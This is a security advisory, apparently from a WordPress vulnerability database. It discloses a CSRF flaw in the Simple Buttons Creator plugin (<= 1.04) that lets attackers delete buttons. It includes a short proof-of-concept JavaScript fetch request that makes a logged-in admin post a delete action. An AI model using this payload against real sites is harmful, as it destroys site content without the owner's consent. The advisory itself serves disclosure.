WordPress Plugin Vulnerabilities

Simple Buttons Creator <= 1.04 - Aribtrary Button Deletion via CSRF

Description

The plugin does not have CSRF checks in some places, which could allow attackers to make logged in users perform unwanted actions via CSRF attacks

Proof of Concept

Make a logged in admin open a page with the code below (where `<<VALID_ID>>` is an existing button):

```
fetch("https://example.com/wp-admin/admin.php?page=simple-buttons", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": 'method=delete&id=<<VALID_ID>>',
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));
```

Affects Plugins

References

Classification

Miscellaneous

Original Researcher
Bob Matyas
Submitter
Bob Matyas
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2024-03-25 (about 1 months ago)
Added
2024-03-25 (about 1 months ago)
Last Updated
2024-03-25 (about 1 months ago)

Other